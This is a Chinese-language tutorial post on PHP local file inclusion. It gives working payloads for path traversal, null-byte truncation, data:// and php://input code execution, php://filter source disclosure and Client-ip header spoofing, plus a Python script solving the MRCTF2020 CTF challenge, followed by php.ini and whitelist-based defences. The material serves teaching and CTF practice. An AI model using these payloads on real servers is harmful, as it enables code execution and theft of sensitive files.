PHP 5.x/7.x 本地文件包含实战:3种伪协议绕过与 Client-ip 头伪造
PHP本地文件包含漏洞深度解析:从伪协议利用到SSRF实战
1. 漏洞原理与基础环境搭建
PHP本地文件包含(Local File Inclusion,LFI)漏洞通常出现在使用include、require等函数时未对用户输入进行严格过滤的场景。当攻击者能够控制文件路径参数时,可以读取服务器上的敏感文件或执行任意代码。
典型漏洞代码示例:
<?php $file = $_GET['file']; include($file); ?>要搭建测试环境,可以使用以下Docker配置:
docker run -d -p 8080:80 -v $(pwd):/var/www/html php:7.4-apache基础利用方式对比表:
| 利用方式 | 示例Payload | 适用条件 |
|---|---|---|
| 目录遍历 | ?file=../../etc/passwd | 无路径限制 |
| 空字节截断 | ?file=../../etc/passwd%00 | PHP<5.3.4 |
| 日志注入 | ?file=/var/log/apache2/access.log | 需可读日志文件 |
2. PHP伪协议深度利用
2.1 data://协议实战
data://协议允许直接在URL中嵌入数据,是绕过文件上传限制的利器:
# 基础用法 ?file=data://text/plain,<?php phpinfo();?> # 带Base64编码 ?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+实际CTF案例: 在BUUCTF的[MRCTF2020]套娃题目中,需要通过data://协议满足特定内容检测:
/secrettw.php?2333=data:text/plain,todat is a happy day2.2 php://input流控制
php://input可以读取原始POST数据,配合文件包含可实现代码执行:
curl -X POST "http://target.com/?file=php://input" -d "<?php system('id');?>"关键限制与绕过:
- 需要
allow_url_include=On - 当
allow_url_fopen=Off时可能失效 - 可通过
.htaccess修改配置(需目录可写)
2.3 php://filter的高级应用
filter协议最常用于文件读取,特别是获取源码:
# 读取PHP文件源码 ?file=php://filter/read=convert.base64-encode/resource=config.php # 多级过滤器链 ?file=php://filter/convert.quoted-printable-encode|convert.base64-decode/resource=flag.php编码转换技巧:
# Base64编码计算工具 import base64 print(base64.b64encode(b'flag.php')) # 输出:ZmxhZy5waHA=3. SSRF与请求头伪造技术
3.1 Client-ip头伪造实战
当PHP应用使用非标准方式获取客户端IP时,可能被请求头伪造绕过:
// 不安全的IP获取方式 function getIp() { return $_SERVER['HTTP_CLIENT_IP'] ?? $_SERVER['REMOTE_ADDR']; }利用方式:
curl -H "Client-ip: 127.0.0.1" http://target.com/vulnerable.php3.2 完整SSRF利用链构造
结合文件包含与SSRF的典型攻击流程:
- 伪造Client-ip头绕过IP限制
- 使用data://或php://input提供所需内容
- 通过filter协议读取执行结果
自动化利用脚本:
import requests target = "http://example.com/vulnerable.php" payload = { '2333': 'data://text/plain,todat is a happy day', 'file': 'ZmpdYSZmXGI=' # flag.php经过特定编码后的值 } headers = {'Client-ip': '127.0.0.1'} response = requests.get(target, params=payload, headers=headers) print(response.text)4. 防御方案与最佳实践
4.1 安全配置建议
php.ini关键配置:
allow_url_fopen = Off allow_url_include = Off open_basedir = /var/www/html4.2 代码层防护
安全的文件包含实现:
$allowed = ['header.php', 'footer.php']; $file = $_GET['file']; if(in_array($file, $allowed)) { include(__DIR__ . '/templates/' . $file); } else { die('Invalid file requested'); }输入验证函数:
function safe_include($path) { $real_base = realpath(__DIR__); $real_path = realpath(__DIR__.'/'.$path); if($real_path === false || strpos($real_path, $real_base) !== 0) { return false; } return include($real_path); }5. 实战案例深度分析
通过分析MRCTF2020题目,我们发现完整的利用链需要组合多种技术:
- 使用换行符绕过正则检测:
%0a - 发现隐藏入口点:
secrettw.php - 逆向自定义编码函数:
function change($v) { $v = base64_decode($v); $re = ''; for($i=0; $i<strlen($v); $i++) { $re .= chr(ord($v[$i]) + $i*2); } return $re; }- 构造最终Payload:
/secrettw.php?2333=data:text/plain,todat is a happy day&file=ZmpdYSZmXGI=在真实渗透测试中,这类漏洞往往需要结合服务器配置缺陷和应用程序逻辑错误才能实现完整利用。建议开发者在代码审查时特别注意所有文件操作函数的参数处理,并建立完善的输入验证机制。
